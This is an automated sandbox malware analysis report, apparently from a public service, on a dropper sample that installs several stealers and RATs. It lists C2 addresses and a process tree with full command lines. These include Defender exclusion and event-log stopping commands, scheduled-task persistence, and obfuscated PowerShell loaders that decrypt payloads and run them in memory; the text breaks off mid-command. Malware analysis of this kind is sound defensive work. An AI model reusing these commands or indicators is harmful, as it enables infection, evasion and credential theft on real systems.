Overview

overview

10

Static

static

3

New Text D...od.exe

windows10-2004-x64

10

New Text D...od.exe

windows10-2004-x64

10

Resubmissions

09/04/2024, 07:01

240409-htps3scd2w10

09/04/2024, 07:01

240409-htf6yacc9x10

09/04/2024, 07:00

240409-hs6p7scc8110

09/04/2024, 07:00

240409-hss44scc7z10

07/03/2024, 22:29

240307-2eh7jagg4110

Analysis

  • max time kernel
    123s
  • max time network
    606s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/03/2024, 22:29

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    New Text Document mod.exe
  • Size 8KB
  • Sample240307-2eh7jagg41
  • SHA256 2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
asyncratgluptebaneshtaquasarredlineriseprosectopratsocks5systemzstealthworkercheatbotnetdiscoverydropperevasioninfostealerloaderpersistencepyinstallerratspywarestealertrojanupx

Malware Config

Extracted

Family

  • risepro

C2

  • 193.233.132.62

  • 147.45.47.116:50500

Extracted

Family

  • redline

Botnet

  • cheat

C2

  • 91.198.77.158:4483

Extracted

Family

  • socks5systemz

C2

  • http://ejurbwh.ua/search/?q=67e28dd83e08a72b4108ad4e7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4fe8889b5e4fa9281ae978f671ea771795af8e05c645db22f31dfe339426fa11af66c152adb719a9577e55b8603e983a608ef619c5ed9d993d

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Detect Neshta payload 1 IoCs
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 2 IoCs
  • Neshta

    Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.

    persistencespywareneshta
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar payload 1 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 4 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

    stealerrisepro
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

    trojanratsectoprat
  • SectopRAT payload 2 IoCs
  • Socks5Systemz

    Socks5Systemz is a botnet written in C++.

    botnetsocks5systemz
  • StealthWorker

    StealthWorker is golang-based brute force malware.

    botnetstealthworker
  • Async RAT payload 1 IoCs
    rat
  • Contacts a large (6369) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • StealthWorker payload 1 IoCs
    botnet
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Stops running service(s) 3 TTPs
    evasion
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 34 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 19 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Detects Pyinstaller 4 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 50 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 28 IoCs
  • Suspicious use of SendNotifyMessage 26 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe
    "C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4128
    • C:\Users\Admin\AppData\Local\Temp\a\june.exe
      "C:\Users\Admin\AppData\Local\Temp\a\june.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:884
      • C:\Users\Admin\AppData\Local\Temp\is-2SCM9.tmp\june.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-2SCM9.tmp\june.tmp" /SL5="$601DC,1513159,56832,C:\Users\Admin\AppData\Local\Temp\a\june.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:4712
        • C:\Users\Admin\AppData\Local\Cruise Mailer\cruisemailer.exe
          "C:\Users\Admin\AppData\Local\Cruise Mailer\cruisemailer.exe" -i
          4⤵
          • Executes dropped EXE
          PID:1884
        • C:\Users\Admin\AppData\Local\Cruise Mailer\cruisemailer.exe
          "C:\Users\Admin\AppData\Local\Cruise Mailer\cruisemailer.exe" -s
          4⤵
          • Executes dropped EXE
          PID:856
    • C:\Users\Admin\AppData\Local\Temp\a\tupak.exe
      "C:\Users\Admin\AppData\Local\Temp\a\tupak.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      PID:4348
    • C:\Users\Admin\AppData\Local\Temp\a\new.exe
      "C:\Users\Admin\AppData\Local\Temp\a\new.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:4620
    • C:\Users\Admin\AppData\Local\Temp\a\low.exe
      "C:\Users\Admin\AppData\Local\Temp\a\low.exe"
      2⤵
      • Executes dropped EXE
      PID:2156
    • C:\Users\Admin\AppData\Local\Temp\a\may.exe
      "C:\Users\Admin\AppData\Local\Temp\a\may.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1948
      • C:\Users\Admin\AppData\Local\Temp\is-Q8U8I.tmp\may.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-Q8U8I.tmp\may.tmp" /SL5="$80172,1667658,56832,C:\Users\Admin\AppData\Local\Temp\a\may.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:2976
    • C:\Users\Admin\AppData\Local\Temp\a\timeSync.exe
      "C:\Users\Admin\AppData\Local\Temp\a\timeSync.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      PID:212
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\timeSync.exe" & del "C:\ProgramData\*.dll"" & exit
        3⤵
          PID:5796
          • C:\Windows\SysWOW64\timeout.exe
            timeout /t 5
            4⤵
            • Delays execution with timeout.exe
            PID:3864
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 212 -s 2440
          3⤵
          • Program crash
          PID:6028
      • C:\Users\Admin\AppData\Local\Temp\a\s1.exe
        "C:\Users\Admin\AppData\Local\Temp\a\s1.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2452
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://lightminer.co/7171174
          3⤵
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:2824
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffdcaeb46f8,0x7ffdcaeb4708,0x7ffdcaeb4718
            4⤵
              PID:1116
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,11384362045464719654,11241412467602452400,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:2
              4⤵
                PID:1420
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,11384362045464719654,11241412467602452400,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 /prefetch:3
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:4400
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2152,11384362045464719654,11241412467602452400,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2828 /prefetch:8
                4⤵
                  PID:3000
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,11384362045464719654,11241412467602452400,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
                  4⤵
                    PID:1472
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,11384362045464719654,11241412467602452400,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1
                    4⤵
                      PID:2620
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,11384362045464719654,11241412467602452400,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4016 /prefetch:1
                      4⤵
                        PID:5828
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,11384362045464719654,11241412467602452400,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3932 /prefetch:1
                        4⤵
                          PID:5836
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,11384362045464719654,11241412467602452400,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5480 /prefetch:1
                          4⤵
                            PID:6084
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,11384362045464719654,11241412467602452400,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5512 /prefetch:1
                            4⤵
                              PID:6092
                            • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,11384362045464719654,11241412467602452400,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5020 /prefetch:8
                              4⤵
                                PID:4312
                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,11384362045464719654,11241412467602452400,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5020 /prefetch:8
                                4⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:5492
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,11384362045464719654,11241412467602452400,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2024 /prefetch:2
                                4⤵
                                  PID:3872
                            • C:\Users\Admin\AppData\Local\Temp\a\288c47bbc1871b439df19ff4df68f07666.exe
                              "C:\Users\Admin\AppData\Local\Temp\a\288c47bbc1871b439df19ff4df68f07666.exe"
                              2⤵
                              • Checks computer location settings
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:5028
                              • C:\Users\Admin\AppData\Local\Temp\InstallSetup_four.exe
                                "C:\Users\Admin\AppData\Local\Temp\InstallSetup_four.exe"
                                3⤵
                                • Checks computer location settings
                                • Executes dropped EXE
                                PID:3808
                                • C:\Users\Admin\AppData\Local\Temp\u2xs.0.exe
                                  "C:\Users\Admin\AppData\Local\Temp\u2xs.0.exe"
                                  4⤵
                                  • Executes dropped EXE
                                  • Checks processor information in registry
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:1100
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 1100 -s 2452
                                    5⤵
                                    • Program crash
                                    PID:5956
                                • C:\Users\Admin\AppData\Local\Temp\u2xs.1.exe
                                  "C:\Users\Admin\AppData\Local\Temp\u2xs.1.exe"
                                  4⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetWindowsHookEx
                                  PID:3632
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
                                    5⤵
                                      PID:2380
                                      • C:\Windows\SysWOW64\chcp.com
                                        chcp 1251
                                        6⤵
                                          PID:4352
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
                                          6⤵
                                          • Creates scheduled task(s)
                                          PID:4184
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 1152
                                      4⤵
                                      • Program crash
                                      PID:724
                                  • C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe
                                    "C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    • Suspicious use of WriteProcessMemory
                                    PID:808
                                    • C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe
                                      "C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"
                                      4⤵
                                      • Executes dropped EXE
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2908
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -nologo -noprofile
                                        5⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2600
                                      • C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe
                                        "C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"
                                        5⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetThreadContext
                                        PID:5780
                                        • C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe
                                          "C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          • Modifies data under HKEY_USERS
                                          PID:6052
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -nologo -noprofile
                                            7⤵
                                              PID:1432
                                    • C:\Users\Admin\AppData\Local\Temp\FourthX.exe
                                      "C:\Users\Admin\AppData\Local\Temp\FourthX.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Drops file in System32 directory
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4360
                                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                        4⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:5772
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                        4⤵
                                          PID:4876
                                          • C:\Windows\system32\wusa.exe
                                            wusa /uninstall /kb:890830 /quiet /norestart
                                            5⤵
                                              PID:5972
                                          • C:\Windows\system32\sc.exe
                                            C:\Windows\system32\sc.exe delete "UTIXDCVF"
                                            4⤵
                                            • Launches sc.exe
                                            PID:5252
                                          • C:\Windows\system32\sc.exe
                                            C:\Windows\system32\sc.exe create "UTIXDCVF" binpath= "C:\ProgramData\xcfonrchdkar\vueqjgslwynd.exe" start= "auto"
                                            4⤵
                                            • Launches sc.exe
                                            PID:3280
                                          • C:\Windows\system32\sc.exe
                                            C:\Windows\system32\sc.exe stop eventlog
                                            4⤵
                                            • Launches sc.exe
                                            PID:908
                                          • C:\Windows\system32\sc.exe
                                            C:\Windows\system32\sc.exe start "UTIXDCVF"
                                            4⤵
                                            • Launches sc.exe
                                            PID:5484
                                      • C:\Users\Admin\AppData\Local\Temp\a\installer.exe
                                        "C:\Users\Admin\AppData\Local\Temp\a\installer.exe"
                                        2⤵
                                        • Executes dropped EXE
                                        • Suspicious use of WriteProcessMemory
                                        PID:2956
                                        • C:\Users\Admin\AppData\Local\Temp\is-OTRTB.tmp\installer.tmp
                                          "C:\Users\Admin\AppData\Local\Temp\is-OTRTB.tmp\installer.tmp" /SL5="$30272,3121405,832512,C:\Users\Admin\AppData\Local\Temp\a\installer.exe"
                                          3⤵
                                          • Checks computer location settings
                                          • Executes dropped EXE
                                          • Suspicious use of WriteProcessMemory
                                          PID:4964
                                          • C:\Users\Admin\AppData\Local\Temp\is-BIJAQ.tmp\netcorecheck_x64.exe
                                            "C:\Users\Admin\AppData\Local\Temp\is-BIJAQ.tmp\netcorecheck_x64.exe" Microsoft.NETCore.App 3.1.22
                                            4⤵
                                            • Executes dropped EXE
                                            PID:2616
                                          • C:\Users\Admin\AppData\Local\Temp\is-BIJAQ.tmp\netcorecheck_x64.exe
                                            "C:\Users\Admin\AppData\Local\Temp\is-BIJAQ.tmp\netcorecheck_x64.exe" Microsoft.NETCore.App 5.0.13
                                            4⤵
                                            • Executes dropped EXE
                                            PID:4508
                                          • C:\Users\Admin\AppData\Local\Temp\is-BIJAQ.tmp\netcorecheck_x64.exe
                                            "C:\Users\Admin\AppData\Local\Temp\is-BIJAQ.tmp\netcorecheck_x64.exe" Microsoft.NETCore.App 6.0.11
                                            4⤵
                                            • Executes dropped EXE
                                            PID:448
                                          • C:\Users\Admin\AppData\Local\Temp\is-BIJAQ.tmp\netcorecheck_x64.exe
                                            "C:\Users\Admin\AppData\Local\Temp\is-BIJAQ.tmp\netcorecheck_x64.exe" Microsoft.NETCore.App 7.0.0
                                            4⤵
                                            • Executes dropped EXE
                                            PID:4636
                                      • C:\Users\Admin\AppData\Local\Temp\a\test.exe
                                        "C:\Users\Admin\AppData\Local\Temp\a\test.exe"
                                        2⤵
                                        • Executes dropped EXE
                                        PID:1640
                                        • C:\Users\Admin\AppData\Local\Temp\a\test.exe
                                          "C:\Users\Admin\AppData\Local\Temp\a\test.exe"
                                          3⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:5360
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c fortniteselenium.bat
                                            4⤵
                                              PID:4252
                                              • C:\Users\Admin\AppData\Local\Temp\a\fortniteselenium.bat.exe
                                                "fortniteselenium.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $RSnoU = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\a\fortniteselenium.bat').Split([Environment]::NewLine);foreach ($UvILK in $RSnoU) { if ($UvILK.StartsWith(':: ')) { $WZQKu = $UvILK.Substring(3); break; }; };$DQUpP = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($WZQKu);$pJalX = New-Object System.Security.Cryptography.AesManaged;$pJalX.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pJalX.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pJalX.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zS+ZlHHt+ljtBla7JvJQxTuusF08NBCJ+ocKIAkzhxo=');$pJalX.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jxYSFK7YqWUI3KXD43YV1A==');$SZzvF = $pJalX.CreateDecryptor();$DQUpP = $SZzvF.TransformFinalBlock($DQUpP, 0, $DQUpP.Length);$SZzvF.Dispose();$pJalX.Dispose();$DERHC = New-Object System.IO.MemoryStream(, $DQUpP);$wqLxz = New-Object System.IO.MemoryStream;$QljLy = New-Object System.IO.Compression.GZipStream($DERHC, [IO.Compression.CompressionMode]::Decompress);$QljLy.CopyTo($wqLxz);$QljLy.Dispose();$DERHC.Dispose();$wqLxz.Dispose();$DQUpP = $wqLxz.ToArray();$THbqF = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($DQUpP);$dDnhq = $THbqF.EntryPoint;$dDnhq.Invoke($null, (, [string[]] ('')))
                                                5⤵
                                                  PID:5768
                                                  • C:\Windows\$sxr-powershell.exe
                                                    "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command $RGTVc1 = New-Object System.Security.Cryptography.AesManaged;$RGTVc1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$zKteB = $RGTVc1.('rotpyrceDetaerC'[-1..-15] -join '')();$YJUZY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u3vBDix/Dvzu1bNqIQRl5A==');$YJUZY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY, 0, $YJUZY.Length);$YJUZY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY);$FxgyF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qJmctKqd3cKI9f/LSjUTTZfi7VZWgSF/mV4pnIBCY0=');$FxgyF = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FxgyF, 0, $FxgyF.Length);$FxgyF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FxgyF);$uduqT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a/YRTjsaXrUpzDKih9OVYw==');$uduqT = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uduqT, 0, $uduqT.Length);$uduqT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uduqT);$jXIqy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('01OluqzYGp7VpcaRAzTEuhBKHeZhEYzImru7nL0XrpTApAAe2nuJWHtDCVSBiU4K+OqG4TWQCs49ZHgcfWfi+euR/Mv2ayGei2SjeZtJc59djoC9/7q0oIcHnQKO86GNcccbBPnosHT1J0+yqZkcMnDYoec6tOMIX+FO2Q7gJAtiDpsPuQ1nyAKZNxGQcDummAmv3RVg1Zz4Pn9Fqbl08BNtgqWHl2Ol+gU/EEu6csFmcl5KvBGR5yLvJJfHyukRx6NQvUT0kUQI4pvttwYdib8yt2A+olytLLxSrFAtLNYm5BpvCwrWZOPOIQBj0Ji4qnEXnkpW34WQnTRiwcH9iRuPL7yUaopjqEQS9uPzd7cMOFQgqqN4qJxPks+ref0tCg6WdX14j1/i0FPbVy2pENJEdQH7+O7bjFDcgWcQDO4=');$jXIqy = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jXIqy, 0, $jXIqy.Length);$jXIqy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jXIqy);$NrSJK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('syA5EvsXvOKxGBhz+CR86w==');$NrSJK = 